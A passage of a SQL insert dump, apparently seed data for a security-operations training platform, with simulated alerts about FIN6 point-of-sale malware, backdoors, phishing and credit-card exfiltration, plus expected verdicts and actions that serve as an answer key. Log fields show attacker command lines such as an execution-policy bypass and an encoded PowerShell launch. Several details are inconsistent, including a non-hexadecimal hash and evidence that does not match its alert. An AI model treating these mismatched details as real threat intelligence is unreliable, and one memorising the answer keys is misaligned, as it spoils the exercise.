Safari/537.36\\\",\\\"network_domain\\\":\\\"pos_network\\\",\\\"hash\\\":\\\"3b3e8f557c3c4e3b2e8e9f0b8b4e9f5d\\\",\\\"file_name\\\":\\\"pos_access_script.exe\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(459, 'Trinity Malware Deployment on POS Systems', 'high', 'Endpoint Detection and Response (EDR)', 'FIN6 has deployed Trinity malware on several Point-of-Sale (POS) systems, targeting RAM to scrape unencrypted credit card data.', 'Execution', 'T1059.001 - Command and Scripting Interpreter: PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-14T14:22:45Z\",\"event_id\":\"4624\",\"computer_name\":\"POS-Server-22\",\"user\":\"svc-posadmin\",\"source_ip\":\"185.23.45.67\",\"internal_ip\":\"192.168.1.105\",\"process_name\":\"powershell.exe\",\"file_path\":\"C:\\\\Windows\\\\System32\\\\pos_trinity.exe\",\"file_hash\":\"b1946ac92492d2347c6235b4d2611184\",\"event_description\":\"Execution of suspicious binary linked to Trinity malware on POS system.\",\"command_line\":\"powershell.exe -ExecutionPolicy Bypass -File C:\\\\Windows\\\\System32\\\\pos_trinity.exe\"}', '2026-01-05 00:10:13', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.23.45.67\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with known FIN6 command and control servers.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Local POS system IP address.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known Trinity malware sample.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"pos_trinity.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Report\",\"verdict\":\"malicious\",\"details\":\"Filename identified as Trinity malware targeting POS systems.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"svc-posadmin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"Service account used in anomalous execution.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(460, 'Establishing Persistent Access', 'high', 'Network Traffic Analysis', 'The attacker has set up a persistent backdoor on the POS network, ensuring they can regain access even if initial malware installations are removed. Network traffic analysis revealed unauthorized communication from an internal host to a known malicious IP, indicating the presence of a backdoor.', 'Persistence', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"src_ip\":\"192.168.1.45\",\"dest_ip\":\"203.0.113.25\",\"protocol\":\"TCP\",\"port\":\"4444\",\"action\":\"allowed\",\"user\":\"john_doe\",\"process_name\":\"backdoor_service.exe\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"malware_family\":\"APT_Backdoor\",\"event_id\":\"1002\",\"message\":\"Outbound connection to known malicious IP detected from internal host.\"}', '2026-01-05 00:10:13', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP address associated with known malicious activities.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with APT_Backdoor malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"backdoor_service.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"malicious\",\"details\":\"File used to establish persistent access by creating unauthorized external connections.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(461, 'Unauthorized Lateral Movement Detected', 'high', 'Anomaly Detection Systems', 'An unauthorized lateral movement has been detected involving compromised credentials and malware. The attacker, identified as FIN6, is attempting to move laterally through the network, targeting point-of-sale (POS) systems and databases. The activity involves the use of specific malware and compromised user accounts.', 'Lateral Movement', 'T1071.001 - Application Layer Protocol: Web Protocols', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:45:00Z\",\"src_ip\":\"195.22.26.189\",\"dest_ip\":\"192.168.1.15\",\"src_user\":\"j.doe\",\"compromised_credential\":true,\"malware_hash\":\"3b2e890d4f1a4e6d8a7c1f2b3e4d5c6f\",\"malware_filename\":\"pos_grabber.exe\",\"activity\":{\"description\":\"Lateral movement attempt using compromised credentials\",\"target_system\":\"POS server\",\"method\":\"SMB protocol over port 445\"}}', '2026-01-05 00:10:13', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"195.22.26.189\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with FIN6 operations\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Inventory\",\"verdict\":\"internal\",\"details\":\"Internal POS server\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"j.doe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"suspicious\",\"details\":\"User account flagged for unusual activity\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"3b2e890d4f1a4e6d8a7c1f2b3e4d5c6f\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Database\",\"verdict\":\"malicious\",\"details\":\"Known hash of malware used by FIN6\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"pos_grabber.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Repository\",\"verdict\":\"malicious\",\"details\":\"Executable associated with POS system attacks\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.071Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:45:00Z\\\",\\\"src_ip\\\":\\\"195.22.26.189\\\",\\\"dest_ip\\\":\\\"192.168.1.15\\\",\\\"src_user\\\":\\\"j.doe\\\",\\\"compromised_credential\\\":true,\\\"malware_hash\\\":\\\"3b2e890d4f1a4e6d8a7c1f2b3e4d5c6f\\\",\\\"malware_filename\\\":\\\"pos_grabber.exe\\\",\\\"activity\\\":{\\\"description\\\":\\\"Lateral movement attempt using compromised credentials\\\",\\\"target_system\\\":\\\"POS server\\\",\\\"method\\\":\\\"SMB protocol over port 445\\\"}}\"},{\"timestamp\":\"2026-02-01T20:31:19.071Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:45:00Z\\\",\\\"src_ip\\\":\\\"195.22.26.189\\\",\\\"dest_ip\\\":\\\"192.168.1.15\\\",\\\"src_user\\\":\\\"j.doe\\\",\\\"compromised_credential\\\":true,\\\"malware_hash\\\":\\\"3b2e890d4f1a4e6d8a7c1f2b3e4d5c6f\\\",\\\"malware_filename\\\":\\\"pos_grabber.exe\\\",\\\"activity\\\":{\\\"description\\\":\\\"Lateral movement attempt using compromised credentials\\\",\\\"target_system\\\":\\\"POS server\\\",\\\"method\\\":\\\"SMB protocol over port 445\\\"}}\"},{\"timestamp\":\"2026-02-01T20:30:19.071Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:45:00Z\\\",\\\"src_ip\\\":\\\"195.22.26.189\\\",\\\"dest_ip\\\":\\\"192.168.1.15\\\",\\\"src_user\\\":\\\"j.doe\\\",\\\"compromised_credential\\\":true,\\\"malware_hash\\\":\\\"3b2e890d4f1a4e6d8a7c1f2b3e4d5c6f\\\",\\\"malware_filename\\\":\\\"pos_grabber.exe\\\",\\\"activity\\\":{\\\"description\\\":\\\"Lateral movement attempt using compromised credentials\\\",\\\"target_system\\\":\\\"POS server\\\",\\\"method\\\":\\\"SMB protocol over port 445\\\"}}\"},{\"timestamp\":\"2026-02-01T20:29:19.071Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:45:00Z\\\",\\\"src_ip\\\":\\\"195.22.26.189\\\",\\\"dest_ip\\\":\\\"192.168.1.15\\\",\\\"src_user\\\":\\\"j.doe\\\",\\\"compromised_credential\\\":true,\\\"malware_hash\\\":\\\"3b2e890d4f1a4e6d8a7c1f2b3e4d5c6f\\\",\\\"malware_filename\\\":\\\"pos_grabber.exe\\\",\\\"activity\\\":{\\\"description\\\":\\\"Lateral movement attempt using compromised credentials\\\",\\\"target_system\\\":\\\"POS server\\\",\\\"method\\\":\\\"SMB protocol over port 445\\\"}}\"},{\"timestamp\":\"2026-02-01T20:28:19.071Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:45:00Z\\\",\\\"src_ip\\\":\\\"195.22.26.189\\\",\\\"dest_ip\\\":\\\"192.168.1.15\\\",\\\"src_user\\\":\\\"j.doe\\\",\\\"compromised_credential\\\":true,\\\"malware_hash\\\":\\\"3b2e890d4f1a4e6d8a7c1f2b3e4d5c6f\\\",\\\"malware_filename\\\":\\\"pos_grabber.exe\\\",\\\"activity\\\":{\\\"description\\\":\\\"Lateral movement attempt using compromised credentials\\\",\\\"target_system\\\":\\\"POS server\\\",\\\"method\\\":\\\"SMB protocol over port 445\\\"}}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(462, 'Exfiltration of Credit Card Data', 'high', 'Data Loss Prevention (DLP) Tools', 'FIN6 has initiated the exfiltration of previously scraped credit card data to an external server, marking the completion of their primary objective in this attack cycle.', 'Exfiltration', 'T1048: Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:32:05Z\",\"event_type\":\"data_exfiltration\",\"source_ip\":\"10.0.3.15\",\"destination_ip\":\"185.199.108.153\",\"destination_domain\":\"malicious-server.com\",\"protocol\":\"HTTPS\",\"file_name\":\"cc_data_dump.zip\",\"file_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"user\":\"john.doe\",\"alert_trigger\":\"DLP: Credit Card Data Exfiltration Detected\",\"data_volume\":\"25MB\",\"process_name\":\"python.exe\",\"process_id\":4567}', '2026-01-05 00:10:13', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"185.199.108.153\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known exfiltration activities by FIN6.\"}},{\"id\":\"artifact_2\",\"type\":\"domain\",\"value\":\"malicious-server.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Domain Reputation Service\",\"verdict\":\"malicious\",\"details\":\"Domain frequently used by FIN6 for data exfiltration.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"cc_data_dump.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"Local DLP Database\",\"verdict\":\"suspicious\",\"details\":\"File matches pattern for exfiltration data dumps.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Hash Registry\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known FIN6 malware operations.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'DLP', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:19.072Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:32:05Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.3.15\\\",\\\"destination_ip\\\":\\\"185.199.108.153\\\",\\\"destination_domain\\\":\\\"malicious-server.com\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"cc_data_dump.zip\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"user\\\":\\\"john.doe\\\",\\\"alert_trigger\\\":\\\"DLP: Credit Card Data Exfiltration Detected\\\",\\\"data_volume\\\":\\\"25MB\\\",\\\"process_name\\\":\\\"python.exe\\\",\\\"process_id\\\":4567}\"},{\"timestamp\":\"2026-02-01T20:31:19.072Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:32:05Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.3.15\\\",\\\"destination_ip\\\":\\\"185.199.108.153\\\",\\\"destination_domain\\\":\\\"malicious-server.com\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"cc_data_dump.zip\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"user\\\":\\\"john.doe\\\",\\\"alert_trigger\\\":\\\"DLP: Credit Card Data Exfiltration Detected\\\",\\\"data_volume\\\":\\\"25MB\\\",\\\"process_name\\\":\\\"python.exe\\\",\\\"process_id\\\":4567}\"},{\"timestamp\":\"2026-02-01T20:30:19.072Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:32:05Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.3.15\\\",\\\"destination_ip\\\":\\\"185.199.108.153\\\",\\\"destination_domain\\\":\\\"malicious-server.com\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"cc_data_dump.zip\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"user\\\":\\\"john.doe\\\",\\\"alert_trigger\\\":\\\"DLP: Credit Card Data Exfiltration Detected\\\",\\\"data_volume\\\":\\\"25MB\\\",\\\"process_name\\\":\\\"python.exe\\\",\\\"process_id\\\":4567}\"},{\"timestamp\":\"2026-02-01T20:29:19.072Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:32:05Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.3.15\\\",\\\"destination_ip\\\":\\\"185.199.108.153\\\",\\\"destination_domain\\\":\\\"malicious-server.com\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"cc_data_dump.zip\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"user\\\":\\\"john.doe\\\",\\\"alert_trigger\\\":\\\"DLP: Credit Card Data Exfiltration Detected\\\",\\\"data_volume\\\":\\\"25MB\\\",\\\"process_name\\\":\\\"python.exe\\\",\\\"process_id\\\":4567}\"},{\"timestamp\":\"2026-02-01T20:28:19.072Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-10T14:32:05Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"10.0.3.15\\\",\\\"destination_ip\\\":\\\"185.199.108.153\\\",\\\"destination_domain\\\":\\\"malicious-server.com\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"file_name\\\":\\\"cc_data_dump.zip\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"user\\\":\\\"john.doe\\\",\\\"alert_trigger\\\":\\\"DLP: Credit Card Data Exfiltration Detected\\\",\\\"data_volume\\\":\\\"25MB\\\",\\\"process_name\\\":\\\"python.exe\\\",\\\"process_id\\\":4567}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(463, 'Initial Access via Weaponized Word Document', 'high', 'Email Gateway Logs', 'A phishing email was detected containing a weaponized Word document. The email was designed to appear as an official military communication, enticing the recipient to open the attachment. Upon opening, the document initiates a template injection exploit aimed at gaining initial access to the target\'s network.', 'Phishing', 'T1203', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:45:30Z\",\"email_id\":\"d5f7a8e3-9abc-4567-80d5-5d3fa8765b41\",\"source_ip\":\"91.121.92.36\",\"destination_ip\":\"192.168.1.45\",\"sender_email\":\"info@military-ops.co\",\"recipient_email\":\"j.doe@target-organization.com\",\"subject\":\"Urgent: Military Operations Briefing\",\"attachment\":{\"filename\":\"Operations_Update.docx\",\"hash\":\"e9b1f8b9f8a7e4c9c9b9d8c8d7d6e5a4\"},\"malware_family\":\"Gamaredon\",\"exploit_technique\":\"Template Injection\"}', '2026-01-05 02:59:34', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"91.121.92.36\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known Gamaredon operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the recipient\'s workstation.\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"info@military-ops.co\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Email domain used in previous phishing campaigns.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e9b1f8b9f8a7e4c9c9b9d8c8d7d6e5a4\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash identified as associated with Gamaredon malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'NDR', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access via Weaponized Word Document\",\"date\":\"2026-02-01T20:32:19.073Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(464, 'Execution of Embedded VBScript Backdoor', 'high', 'Endpoint Detection and Response (EDR)', 'Upon opening the Word document, a concealed VBScript backdoor is executed, connecting to a command and control server, enabling remote command execution and persistence within the network.', 'Code Execution', 'T1059.005', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:00Z\",\"event_type\":\"code_execution\",\"host_ip\":\"192.168.1.15\",\"user\":\"jdoe\",\"process_name\":\"winword.exe\",\"script_name\":\"malicious_script.vbs\",\"script_hash\":\"3a4f1b2c5e6d7f8g9h10i11j12k13l14m15n16o17p\",\"c2_ip\":\"203.0.113.45\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\malicious_script.vbs\",\"command\":\"cscript.exe C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\malicious_script.vbs\",\"action\":\"process_created\"}', '2026-01-05 02:59:34', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal network IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known command and control server IP\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3a4f1b2c5e6d7f8g9h10i11j12k13l14m15n16o17p\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with VBScript backdoor\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"malicious_script.vbs\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_analysis\",\"verdict\":\"malicious\",\"details\":\"Detected as a malicious VBScript backdoor\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(465, 'Data Exfiltration via Encrypted Channels', 'high', 'Network Traffic Analysis', 'The attackers have initiated data exfiltration by encrypting sensitive military data and transferring it through a secure TLS channel to an external server. The data was gathered using a deployed VBScript backdoor, enabling discreet exfiltration.', 'Data Theft', 'T1020 - Automated Exfiltration', 1, 'new', NULL, '{\"timestamp\":\"2023-10-11T14:53:21Z\",\"src_ip\":\"192.168.1.45\",\"dest_ip\":\"203.0.113.77\",\"src_port\":\"44321\",\"dest_port\":\"443\",\"protocol\":\"TLS\",\"username\":\"jdoe\",\"filename\":\"military_data_enc.zip\",\"hash\":\"b1946ac92492d2347c6235b4d2611184\",\"action\":\"transferred\",\"encryption\":\"AES-256\",\"malware_name\":\"VBScript_Backdoor\"}', '2026-01-05 02:59:34', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host potentially compromised.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.77\",\"is_critical\":true,\"osint_result\":{\"source\":\"External Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP used for data exfiltration.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"b1946ac92492d2347c6235b4d2611184\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with VBScript_Backdoor.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"military_data_enc.zip\",\"is_critical\":false,\"osint_result\":{\"source\":\"File Analysis\",\"verdict\":\"suspicious\",\"details\":\"Encrypted file potentially containing sensitive data.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"User Activity Logs\",\"verdict\":\"internal\",\"details\":\"User credentials potentially compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'Intermediate', 'MAL', 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0);
